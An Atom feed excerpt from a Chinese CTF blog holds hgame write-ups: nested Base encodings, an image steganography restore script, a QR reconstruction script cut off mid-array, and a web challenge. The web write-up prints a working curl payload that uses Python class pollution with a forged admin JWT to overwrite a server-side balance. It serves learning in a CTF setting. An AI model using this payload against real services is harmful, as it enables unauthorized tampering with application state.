    <link href="https://dodor.top/2026/08/23/rust-vtable-fat-pointer/"/>
    <published>2026-08-23T13:50:00.000Z</published>
    <summary>
      <![CDATA[<div class="excerpt-box">真是好久没更新了，上次的知识补全计划也咕咕咕了（ 还是用一个程序作为例子展开讲罢 胖指针 上面的 &amp;dyn Greet 是16字节 &amp;[u8] 同样是 16 字节： 因为切片要支持 s.len() ，光有一个起始地址不够，得把长度带上。于是 &amp;[T] 变成”数据指针 + us…</div>]]>
    </summary>
    <title>Rust的虚表与胖指针及其安全应用</title>
    <updated>2026-08-30T07:27:29.571Z</updated>
  </entry>
  <entry>
    <author>
      <name>DODOR</name>
    </author>
    <category term="技术" scheme="https://dodor.top/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="CTF" scheme="https://dodor.top/tags/CTF/"/>
    <category term="Misc" scheme="https://dodor.top/tags/Misc/"/>
    <content>
      <![CDATA[<p>看过wp后的复现wwwww,留档做个记录。</p><h2 id="打好基础"><a href="#打好基础" class="headerlink" title="打好基础"></a>打好基础</h2><p>之前一直不知道Base100就是将每个字节（8位，值域0-255）映射到一个特定的表情符号。编码表通常包含256个不同的表情符号，每个符号对应一个唯一的字节值。编码过程直接将字节流转换为表情符号序列，解码则是反向操作。</p><p>例如，原始文本“Hello”（十六进制：48 65 6C 6C 6F）可能被编码为一串表情符号，如：🐟 🐠 🐡 🐡 🐢（具体符号因编码表而异）‌</p><p>扔给ai识别说有85个表情自然就陷入了Base85(虽然后面还是会用到)非常明确肯定是base大家族。但是无论是从已知的形式hgame{}来看还是首字母来看都无法解密。（其实应该看到打好基础就知道是base的嵌套，当时没有想到。。。</p><p>经过base100,92，91，85，64，62，58，45，32后即可得到flag。</p><h2 id="shiori不想找女朋友"><a href="#shiori不想找女朋友" class="headerlink" title="shiori不想找女朋友"></a>shiori不想找女朋友</h2><p>这题完全是因为我自己的问题，直接用windows打开解压后发现只有一张图片，通过exiftool发现其中有一段json：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span><span class="token property">"block"</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token property">"start_x"</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token property">"start_y"</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token property">"step_x"</span><span class="token operator">:</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token property">"step_y"</span><span class="token operator">:</span> <span class="token number">7</span><span class="token punctuation">,</span><span class="token property">"column_num"</span><span class="token operator">:</span> <span class="token number">450</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>一种隐写，起始位置和步长全标出来了写脚本复原：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> ImageCHALLENGE_FILE <span class="token operator">=</span> <span class="token string">"shiori.png"</span>OUTPUT_FILE <span class="token operator">=</span> <span class="token string">"key.png"</span><span class="token keyword">def</span> <span class="token function">solve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>  img <span class="token operator">=</span> Image<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span>CHALLENGE_FILE<span class="token punctuation">)</span>  b <span class="token operator">=</span> <span class="token number">1</span>  sx <span class="token operator">=</span> <span class="token number">10</span>  sy <span class="token operator">=</span> <span class="token number">10</span>  dx <span class="token operator">=</span> <span class="token number">7</span>  dy <span class="token operator">=</span> <span class="token number">7</span>  w_blocks <span class="token operator">=</span> <span class="token number">450</span>  canvas_w <span class="token operator">=</span> w_blocks <span class="token operator">*</span> b  canvas_h <span class="token operator">=</span> <span class="token number">600</span>  restored_img <span class="token operator">=</span> Image<span class="token punctuation">.</span>new<span class="token punctuation">(</span><span class="token string">'RGB'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span>canvas_w<span class="token punctuation">,</span> canvas_h<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">'lightgray'</span><span class="token punctuation">)</span>  c_w<span class="token punctuation">,</span> c_h <span class="token operator">=</span> img<span class="token punctuation">.</span>size  carrier_x<span class="token punctuation">,</span> carrier_y <span class="token operator">=</span> sx<span class="token punctuation">,</span> sy  target_col<span class="token punctuation">,</span> target_row <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span>  count <span class="token operator">=</span> <span class="token number">0</span>  <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>​    <span class="token keyword">if</span> carrier_y <span class="token operator">+</span> b <span class="token operator">></span> c_h<span class="token punctuation">:</span>​      <span class="token keyword">break</span>​    box <span class="token operator">=</span> <span class="token punctuation">(</span>carrier_x<span class="token punctuation">,</span> carrier_y<span class="token punctuation">,</span> carrier_x <span class="token operator">+</span> b<span class="token punctuation">,</span> carrier_y <span class="token operator">+</span> b<span class="token punctuation">)</span>​    block <span class="token operator">=</span> img<span class="token punctuation">.</span>crop<span class="token punctuation">(</span>box<span class="token punctuation">)</span>​    paste_x <span class="token operator">=</span> target_col <span class="token operator">*</span> b​    paste_y <span class="token operator">=</span> target_row <span class="token operator">*</span> b​    <span class="token keyword">if</span> paste_y <span class="token operator">+</span> b <span class="token operator">></span> canvas_h<span class="token punctuation">:</span> ​      <span class="token keyword">break</span>​    restored_img<span class="token punctuation">.</span>paste<span class="token punctuation">(</span>block<span class="token punctuation">,</span> <span class="token punctuation">(</span>paste_x<span class="token punctuation">,</span> paste_y<span class="token punctuation">)</span><span class="token punctuation">)</span>​    count <span class="token operator">+=</span> <span class="token number">1</span>​    target_col <span class="token operator">+=</span> <span class="token number">1</span>​    <span class="token keyword">if</span> target_col <span class="token operator">>=</span> w_blocks<span class="token punctuation">:</span>​      target_col <span class="token operator">=</span> <span class="token number">0</span>​    target_row <span class="token operator">+=</span> <span class="token number">1</span>​    carrier_x <span class="token operator">+=</span> dx​    <span class="token keyword">if</span> carrier_x <span class="token operator">+</span> b <span class="token operator">></span> c_w<span class="token punctuation">:</span>​      carrier_x <span class="token operator">=</span> sx​    carrier_y <span class="token operator">+=</span> dy  restored_img<span class="token punctuation">.</span>save<span class="token punctuation">(</span>OUTPUT_FILE<span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>  solve<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>(wp的脚本，更加简洁)<br>然后组成图片如下</p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/reconstructed_hidden.png"></p><p>然后就可以解密拿到一个其实是png的jpg了，我们用convert把他转化成jpg，alpha通道会自动丢弃得到flag。(以后我一定先查附件本身压缩(哭))</p><h2 id="VIDARSHOP"><a href="#VIDARSHOP" class="headerlink" title="VIDARSHOP"></a>VIDARSHOP</h2><p>我那个时候其实注意力全放在jwt上了，以为是jwt弱密钥爆破，结果jwt里面带的是usename而且也不靠他来检验身份，做了很多无用功(😂)，原来不是窃取管理员身份,而是借助管理员id改我自己的钱。有考虑过原型链污染，但是uid的生成逻辑我完全没想到。</p><p>这题根据提示需要我们覆盖balance的值，同时有一个&#x2F;api&#x2F;update的端口通过</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">__class__<span class="token punctuation">.</span>__init__<span class="token punctuation">.</span>__globals__<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>访问全局变量balance并覆盖：以下是payload:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-X</span> POST http://forward.vidar.club:32530/api/update <span class="token punctuation">\</span>  <span class="token parameter variable">-H</span> <span class="token string">"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwidWlkIjoiMTQxMzkxNCIsImV4cCI6MTc3MjA3NTEwNH0.fck9rFNaNobg-GdL-XgIRWxSamSGBh4vM61Y6aaqg5s"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-H</span> <span class="token string">"Content-Type: application/json"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-H</span> <span class="token string">"UID: 1413914"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-d</span> <span class="token string">'&#123;"__class__": &#123;"__init__": &#123;"__globals__": &#123;"balance": 1000000&#125;&#125;&#125;&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>刷新界面会发现我们的余额已经可以买flag了。</p>]]>
    </content>
    <id>https://dodor.top/2026/02/27/DODOR%E7%9A%84hgame%E5%A4%8D%E7%8E%B0%E4%B8%8E%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93/</id>
    <link href="https://dodor.top/2026/02/27/DODOR%E7%9A%84hgame%E5%A4%8D%E7%8E%B0%E4%B8%8E%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93/"/>
    <published>2026-02-27T12:30:15.000Z</published>
    <summary>
      <![CDATA[<div class="excerpt-box">看过wp后的复现wwwww,留档做个记录。 打好基础 之前一直不知道Base100就是将每个字节（8位，值域0-255）映射到一个特定的表情符号。编码表通常包含256个不同的表情符号，每个符号对应一个唯一的字节值。编码过程直接将字节流转换为表情符号序列，解码则是反向操作。 例如，原始文本“Hello…</div>]]>
    </summary>
    <title>DODOR的hgame复现与知识点总结</title>
    <updated>2026-08-30T07:27:29.571Z</updated>
  </entry>
  <entry>
    <author>
      <name>DODOR</name>
    </author>
    <category term="CTF" scheme="https://dodor.top/categories/CTF/"/>
    <category term="CTF" scheme="https://dodor.top/tags/CTF/"/>
    <content>
      <![CDATA[<h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc:"></a>Misc:</h2><h3 id="Invest-on-Matrix"><a href="#Invest-on-Matrix" class="headerlink" title="Invest on Matrix"></a><strong>Invest on Matrix</strong></h3><p>解锁hint1就知道是一个version2的二维码，剩下的就是不断解锁补全直到可以通过纠错识别出来，这是基础结构，我们优先补全右下角再逐渐保持中心完整，最后脚本如下：</p><p><img src="/imgs/hgame/f3d3572c11dfa9ec8a136d41608ce003918fa0ec6b6b" alt="img"></p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image<span class="token keyword">import</span> os<span class="token keyword">def</span> <span class="token function">make_matrix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    m <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">*</span><span class="token number">25</span> <span class="token keyword">for</span> _ <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">25</span><span class="token punctuation">)</span><span class="token punctuation">]</span>    <span class="token keyword">def</span> <span class="token function">place_finder</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span>c<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">:</span>                v <span class="token operator">=</span> <span class="token number">1</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">)</span> <span class="token keyword">or</span> j <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token punctuation">(</span><span class="token number">2</span><span class="token operator">&lt;=</span>i<span class="token operator">&lt;=</span><span class="token number">4</span> <span class="token keyword">and</span> <span class="token number">2</span><span class="token operator">&lt;=</span>j<span class="token operator">&lt;=</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">else</span> <span class="token number">0</span>                m<span class="token punctuation">[</span>r<span class="token operator">+</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>c<span class="token operator">+</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> v    place_finder<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span>    place_finder<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">18</span><span class="token punctuation">)</span>    place_finder<span class="token punctuation">(</span><span class="token number">18</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">25</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        m<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token keyword">if</span> j<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">0</span> <span class="token keyword">else</span> <span class="token number">0</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">25</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        m<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token keyword">if</span> i<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">0</span> <span class="token keyword">else</span> <span class="token number">0</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            r <span class="token operator">=</span> <span class="token number">16</span><span class="token operator">+</span>i            c <span class="token operator">=</span> <span class="token number">16</span><span class="token operator">+</span>j            v <span class="token operator">=</span> <span class="token number">1</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">)</span> <span class="token keyword">or</span> j <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token punctuation">(</span>i<span class="token operator">==</span><span class="token number">2</span> <span class="token keyword">and</span> j<span class="token operator">==</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">else</span> <span class="token number">0</span>            m<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">=</span> v    <span class="token keyword">return</span> m<span class="token keyword">def</span> <span class="token function">apply_block</span><span class="token punctuation">(</span>m<span class="token punctuation">,</span> k<span class="token punctuation">,</span> vals<span class="token punctuation">)</span><span class="token punctuation">:</span>    r <span class="token operator">=</span> <span class="token punctuation">(</span>k<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">//</span><span class="token number">5</span>    c <span class="token operator">=</span> <span class="token punctuation">(</span>k<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">5</span>    sr <span class="token operator">=</span> r<span class="token operator">*</span><span class="token number">5</span>    sc <span class="token operator">=</span> c<span class="token operator">*</span><span class="token number">5</span>    <span class="token keyword">for</span> idx<span class="token punctuation">,</span> v <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>vals<span class="token punctuation">)</span><span class="token punctuation">:</span>        dr <span class="token operator">=</span> idx<span class="token operator">//</span><span class="token number">5</span>        dc <span class="token operator">=</span> idx<span class="token operator">%</span><span class="token number">5</span>        m<span class="token punctuation">[</span>sr<span class="token operator">+</span>dr<span class="token punctuation">]</span><span class="token punctuation">[</span>sc<span class="token operator">+</span>dc<span class="token punctuation">]</span> <span class="token operator">=</span> v<span class="token keyword">def</span> <span class="token function">save_png</span><span class="token punctuation">(</span>m<span class="token punctuation">,</span> path<span class="token punctuation">,</span> cell_size<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">,</span> border<span class="token operator">=</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    n <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>m<span class="token punctuation">)</span>    s <span class="token operator">=</span> <span class="token punctuation">(</span>n <span class="token operator">+</span> <span class="token number">2</span><span class="token operator">*</span>border<span class="token punctuation">)</span> <span class="token operator">*</span> cell_size    img <span class="token operator">=</span> Image<span class="token punctuation">.</span>new<span class="token punctuation">(</span><span class="token string">'RGB'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span>s<span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">'white'</span><span class="token punctuation">)</span>    px <span class="token operator">=</span> img<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> y <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> x <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">:</span>            col <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">if</span> m<span class="token punctuation">[</span>y<span class="token punctuation">]</span><span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token operator">==</span><span class="token number">1</span> <span class="token keyword">else</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span><span class="token number">255</span><span class="token punctuation">,</span><span class="token number">255</span><span class="token punctuation">)</span>            <span class="token keyword">for</span> dy <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>cell_size<span class="token punctuation">)</span><span class="token punctuation">:</span>                <span class="token keyword">for</span> dx <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>cell_size<span class="token punctuation">)</span><span class="token punctuation">:</span>                    px<span class="token punctuation">[</span><span class="token punctuation">(</span>x<span class="token operator">+</span>border<span class="token punctuation">)</span><span class="token operator">*</span>cell_size<span class="token operator">+</span>dx<span class="token punctuation">,</span> <span class="token punctuation">(</span>y<span class="token operator">+</span>border<span class="token punctuation">)</span><span class="token operator">*</span>cell_size<span class="token operator">+</span>dy<span class="token punctuation">]</span> <span class="token operator">=</span> col    img<span class="token punctuation">.</span>save<span class="token punctuation">(</span>path<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    m <span class="token operator">=</span> make_matrix<span class="token punctuation">(</span><span class="token punctuation">)</span>    b2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b6 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b7 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b8 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b9 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b10 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b11 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b13 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token 